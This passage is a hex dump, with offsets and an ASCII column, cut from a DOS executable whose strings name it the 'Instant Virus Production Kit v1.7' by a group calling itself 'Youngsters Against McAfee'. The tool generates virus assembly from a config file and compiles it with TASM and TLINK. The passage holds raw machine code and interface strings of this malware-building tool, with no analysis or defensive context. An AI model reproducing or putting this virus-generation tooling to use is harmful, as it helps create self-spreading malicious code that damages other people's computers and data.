|00005d60| 49 4c 45 4e 41 4d 45 2e | 41 53 4d 22 3b 20 20 54 |ILENAME.|ASM"; T|
|00005d70| 68 65 6e 20 74 79 70 65 | 20 74 6c 69 6e 6b 20 2f |hen type| tlink /|
|00005d80| 74 20 46 49 4c 45 4e 41 | 4d 45 2e 4f 42 4a 55 89 |t FILENA|ME.OBJU.|
|00005d90| e5 b8 00 01 9a cd 02 12 | 07 81 ec 00 01 bf ee 50 |........|.......P|
|00005da0| 0e 57 bf 00 51 0e 57 e8 | df ad bf 92 0e 1e 57 9a |.W..Q.W.|......W.|
|00005db0| dd 05 12 07 9a 91 02 12 | 07 80 3e 91 06 30 76 0d |........|..>..0v.|
|00005dc0| bf 16 51 0e 57 bf 23 51 | 0e 57 e8 bc ad 80 3e 65 |..Q.W.#Q|.W....>e|
|00005dd0| 00 00 74 14 80 3e 61 00 | 00 75 0d bf 39 51 0e 57 |..t..>a.|.u..9Q.W|
|00005de0| bf 65 51 0e 57 e8 a1 ad | 80 3e 64 00 00 74 0d bf |.eQ.W...|.>d..t..|
|00005df0| 86 51 0e 57 bf a1 51 0e | 57 e8 8d ad 80 3e 61 00 |.Q.W..Q.|W....>a.|
|00005e00| 00 75 14 80 3e 60 00 00 | 75 0d bf b7 51 0e 57 bf |.u..>`..|u...Q.W.|
|00005e10| d2 51 0e 57 e8 72 ad 80 | 3e 61 00 00 75 14 80 3e |.Q.W.r..|>a..u..>|
|00005e20| 60 00 00 75 0d bf e6 51 | 0e 57 bf fc 51 0e 57 e8 |`..u...Q|.W..Q.W.|
|00005e30| 57 ad 80 3e 62 00 00 74 | 0d bf 0d 52 0e 57 bf 1b |W..>b..t|...R.W..|
|00005e40| 52 0e 57 e8 43 ad 80 3e | 91 02 30 76 2c 8d be 00 |R.W.C..>|..0v,...|
|00005e50| ff 16 57 bf 3b 52 0e 57 | 9a d3 0a 12 07 bf 90 02 |..W.;R.W|........|
|00005e60| 1e 57 9a 52 0b 12 07 bf | 49 52 0e 57 9a 52 0b 12 |.W.R....|IR.W.R..|
|00005e70| 07 bf 52 52 0e 57 e8 10 | ad bf 92 0e 1e 57 9a dd |..RR.W..|.....W..|
|00005e80| 05 12 07 9a 91 02 12 07 | bf 53 52 0e 57 bf 65 52 |........|.SR.W.eR|
|00005e90| 0e 57 e8 f4 ac bf 92 0e | 1e 57 9a dd 05 12 07 9a |.W......|.W......|
|00005ea0| 91 02 12 07 bf 7b 52 0e | 57 bf 52 52 0e 57 e8 d8 |.....{R.|W.RR.W..|
|00005eb0| ac bf 88 52 0e 57 bf 52 | 52 0e 57 e8 9e ab bf 92 |...R.W.R|R.W.....|
|00005ec0| 0e 1e 57 9a dd 05 12 07 | 9a 91 02 12 07 bf 92 0e |..W.....|........|
|00005ed0| 1e 57 9a dd 05 12 07 9a | 91 02 12 07 bf 92 0e 1e |.W......|........|
|00005ee0| 57 bf 96 52 0e 57 31 c0 | 50 9a 01 07 12 07 9a dd |W..R.W1.|P.......|
|00005ef0| 05 12 07 9a 91 02 12 07 | bf 92 0e 1e 57 bf a1 52 |........|....W..R|
|00005f00| 0e 57 31 c0 50 9a 01 07 | 12 07 9a dd 05 12 07 9a |.W1.P...|........|
|00005f10| 91 02 12 07 bf 92 0e 1e | 57 bf ef 52 0e 57 31 c0 |........|W..R.W1.|
|00005f20| 50 9a 01 07 12 07 9a dd | 05 12 07 9a 91 02 12 07 |P.......|........|
|00005f30| bf 92 0e 1e 57 bf 1b 53 | 0e 57 31 c0 50 9a 01 07 |....W..S|.W1.P...|
|00005f40| 12 07 9a dd 05 12 07 9a | 91 02 12 07 bf 92 0e 1e |........|........|
|00005f50| 57 bf 96 52 0e 57 31 c0 | 50 9a 01 07 12 07 9a dd |W..R.W1.|P.......|
|00005f60| 05 12 07 9a 91 02 12 07 | bf 92 0e 1e 57 9a dd 05 |........|....W...|
|00005f70| 12 07 9a 91 02 12 07 89 | ec 5d c3 55 89 e5 b8 02 |........|.].U....|
|00005f80| 00 9a cd 02 12 07 83 ec | 02 31 c0 89 46 fe 8b 46 |........|.1..F..F|
|00005f90| fe 40 89 46 fe 8b 7e fe | 80 bd 90 09 2e 75 ef 8b |.@.F..~.|.....u..|
|00005fa0| 46 fe 48 a2 90 09 89 ec | 5d c3 27 fe 20 59 6f 75 |F.H.....|].'. You|
|00005fb0| 6e 67 73 74 65 72 73 20 | 41 67 61 69 6e 73 74 20 |ngsters |Against |
|00005fc0| 4d 63 41 66 65 65 20 50 | 72 65 73 65 6e 74 2e 2e |McAfee P|resent..|
|00005fd0| 20 fe 1e 49 6e 73 74 61 | 6e 74 20 56 69 72 75 73 | ..Insta|nt Virus|
|00005fe0| 20 50 72 6f 64 75 63 74 | 69 6f 6e 20 4b 69 74 20 | Product|ion Kit |
|00005ff0| 76 03 31 2e 37 12 20 42 | 79 20 41 64 6d 69 72 61 |v.1.7. B|y Admira|
|00006000| 6c 20 42 61 69 6c 65 79 | 2e 20 20 20 20 20 fe 20 |l Bailey|. . |
|00006010| 43 6f 6d 6d 61 6e 64 20 | 4c 69 6e 65 20 49 73 73 |Command |Line Iss|
|00006020| 75 65 64 20 57 61 73 20 | 4e 6f 74 20 41 63 63 65 |ued Was |Not Acce|
|00006030| 70 74 61 62 6c 65 21 26 | 20 20 20 20 20 fe 20 54 |ptable!&| . T|
|00006040| 68 65 20 53 79 6e 74 61 | 78 20 49 73 3a 20 49 56 |he Synta|x Is: IV|
|00006050| 50 20 5b 43 6f 6e 66 69 | 67 46 69 6c 65 5d 17 20 |P [Confi|gFile]. |
|00006060| 20 20 20 20 fe 20 50 6c | 65 61 73 65 20 54 72 79 | . Pl|ease Try|
|00006070| 20 41 67 61 69 6e 39 20 | 20 20 20 20 fe 20 54 68 | Again9 | . Th|
|00006080| 65 72 65 20 57 61 73 20 | 41 6e 20 45 72 72 6f 72 |ere Was |An Error|
|00006090| 20 4f 70 65 6e 69 6e 67 | 20 54 68 65 20 43 6f 6e | Opening| The Con|
|000060a0| 66 69 67 75 72 61 74 69 | 6f 6e 20 46 69 6c 65 2e |figurati|on File.|
|000060b0| 2b 20 20 20 20 20 fe 20 | 50 6c 65 61 73 65 20 4d |+ . |Please M|
|000060c0| 61 6b 65 20 53 75 72 65 | 20 49 74 20 49 73 20 52 |ake Sure| It Is R|
|000060d0| 65 61 6c 6c 79 20 54 68 | 65 72 65 2e 1d 52 65 61 |eally Th|ere..Rea|
|000060e0| 64 69 6e 67 20 43 6f 6e | 66 69 67 75 72 61 74 69 |ding Con|figurati|
|000060f0| 6f 6e 20 46 69 6c 65 2e | 2e 2e 06 3a 53 54 41 52 |on File.|...:STAR|
|00006100| 54 04 3a 45 4e 44 2b 20 | 20 20 20 20 fe 20 54 68 |T.:END+ | . Th|
|00006110| 65 72 65 20 49 73 20 61 | 6e 20 65 72 72 6f 72 20 |ere Is a|n error |
|00006120| 69 6e 20 74 68 65 20 43 | 6f 6e 66 69 67 20 46 69 |in the C|onfig Fi|
|00006130| 6c 65 06 44 6f 6e 65 21 | 21 32 20 20 20 20 20 fe |le.Done!|!2 .|
|00006140| 20 54 68 65 72 65 20 57 | 61 73 20 41 6e 20 45 72 | There W|as An Er|
|00006150| 72 6f 72 20 4f 70 65 6e | 69 6e 67 20 54 68 65 20 |ror Open|ing The |
|00006160| 4f 75 74 70 75 74 20 46 | 69 6c 65 2e 42 20 20 20 |Output F|ile.B |
|00006170| 20 20 fe 20 50 6c 65 61 | 73 65 20 4d 61 6b 65 20 | . Plea|se Make |
|00006180| 53 75 72 65 20 59 6f 75 | 20 48 61 76 65 20 54 68 |Sure You| Have Th|
|00006190| 65 20 52 69 67 68 74 20 | 46 69 6c 65 6e 61 6d 65 |e Right |Filename|
|000061a0| 20 41 73 20 74 68 65 20 | 43 4f 4e 46 49 47 2e 0c | As the |CONFIG..|
|000061b0| 49 6e 70 75 74 20 46 69 | 6c 65 3a 20 0d 4f 75 74 |Input Fi|le: .Out|
|000061c0| 70 75 74 20 46 69 6c 65 | 3a 20 0c 56 69 72 75 73 |put File|: .Virus|
|000061d0| 20 4e 61 6d 65 3a 20 0e | 41 75 74 68 6f 72 73 20 | Name: .|Authors |
|000061e0| 4e 61 6d 65 3a 20 15 57 | 72 69 74 69 6e 67 20 4f |Name: .W|riting O|
|000061f0| 75 74 70 75 74 20 46 69 | 6c 65 20 28 02 29 2e 03 |utput Fi|le (.)..|
|00006200| 08 20 08 01 5c 1b 4e 6f | 77 20 43 6f 6d 70 69 6c |. ..\.No|w Compil|
|00006210| 69 6e 67 20 57 69 74 68 | 20 54 41 53 4d 2e 45 58 |ing With| TASM.EX|
|00006220| 45 07 43 4f 4d 53 50 45 | 43 03 2f 43 20 0c 54 41 |E.COMSPE|C./C .TA|
|00006230| 53 4d 2e 45 58 45 20 2f | 6d 20 1c 4e 6f 77 20 43 |SM.EXE /|m .Now C|
|00006240| 6f 6d 70 69 6c 69 6e 67 | 20 57 69 74 68 20 54 6c |ompiling| With Tl|
|00006250| 69 6e 6b 2e 45 58 45 0a | 54 4c 49 4e 4b 2e 45 58 |ink.EXE.|TLINK.EX|
|00006260| 45 20 0d 54 4c 49 4e 4b | 2e 45 58 45 20 2f 74 20 |E .TLINK|.EXE /t |
|00006270| 35 54 68 61 6e 6b 20 79 | 6f 75 20 66 6f 72 20 75 |5Thank y|ou for u|
|00006280| 73 69 6e 67 20 54 68 65 | 20 49 6e 73 74 61 6e 74 |sing The| Instant|
|00006290| 20 56 69 72 75 73 20 50 | 72 6f 64 75 63 74 69 6f | Virus P|roductio|
|000062a0| 6e 20 4b 69 74 21 9a 00 | 00 12 07 9a 32 03 c2 06 |n Kit!..|....2...|
|000062b0| 9a 0d 00 60 06 55 89 e5 | b8 00 02 9a cd 02 12 07 |...`.U..|........|
|000062c0| 81 ec 00 02 9a 2e 00 c2 | 06 9a 71 02 c2 06 9a 6b |........|..q....k|
|000062d0| 0e 12 07 b0 07 50 9a 63 | 02 60 06 c6 06 2c 11 00 |.....P.c|.`...,..|
|000062e0| c6 06 66 00 00 c6 06 67 | 00 00 c6 06 65 00 00 c6 |..f....g|....e...|
|000062f0| 06 64 00 00 c6 06 63 00 | 00 c6 06 62 00 00 c6 06 |.d....c.|...b....|
|00006300| 61 00 00 c6 06 60 00 00 | 31 c0 a3 92 0f 31 c0 a3 |a....`..|1....1..|
|00006310| 84 02 bf ce 1d 1e 57 9a | dd 05 12 07 9a 91 02 12 |......W.|........|
|00006320| 07 bf ce 1d 1e 57 bf 5a | 55 0e 57 31 c0 50 9a 01 |.....W.Z|U.W1.P..|
|00006330| 07 12 07 9a dd 05 12 07 | 9a 91 02 12 07 bf ce 1d |........|........|
|00006340| 1e 57 9a dd 05 12 07 9a | 91 02 12 07 bf ce 1d 1e |.W......|........|
|00006350| 57 bf 82 55 0e 57 31 c0 | 50 9a 01 07 12 07 bf a1 |W..U.W1.|P.......|
|00006360| 55 0e 57 31 c0 50 9a 01 | 07 12 07 bf a5 55 0e 57 |U.W1.P..|.....U.W|
|00006370| 31 c0 50 9a 01 07 12 07 | 9a dd 05 12 07 9a 91 02 |1.P.....|........|
|00006380| 12 07 bf ce 1d 1e 57 9a | dd 05 12 07 9a 91 02 12 |......W.|........|
|00006390| 07 9a 85 09 12 07 3d 01 | 00 74 6a bf ce 1d 1e 57 |......=.|.tj....W|
|000063a0| bf b8 55 0e 57 31 c0 50 | 9a 01 07 12 07 9a dd 05 |..U.W1.P|........|
|000063b0| 12 07 9a 91 02 12 07 bf | ce 1d 1e 57 bf e7 55 0e |........|...W..U.|
|000063c0| 57 31 c0 50 9a 01 07 12 | 07 9a dd 05 12 07 9a 91 |W1.P....|........|
|000063d0| 02 12 07 bf ce 1d 1e 57 | bf 0e 56 0e 57 31 c0 50 |.......W|..V.W1.P|
|000063e0| 9a 01 07 12 07 9a dd 05 | 12 07 9a 91 02 12 07 bf |........|........|
|000063f0| ce 1d 1e 57 9a dd 05 12 | 07 9a 91 02 12 07 31 c0 |...W....|......1.|
+--------+-------------------------+-------------------------+--------+--------+
Only 25.0 KB of data is shown above.
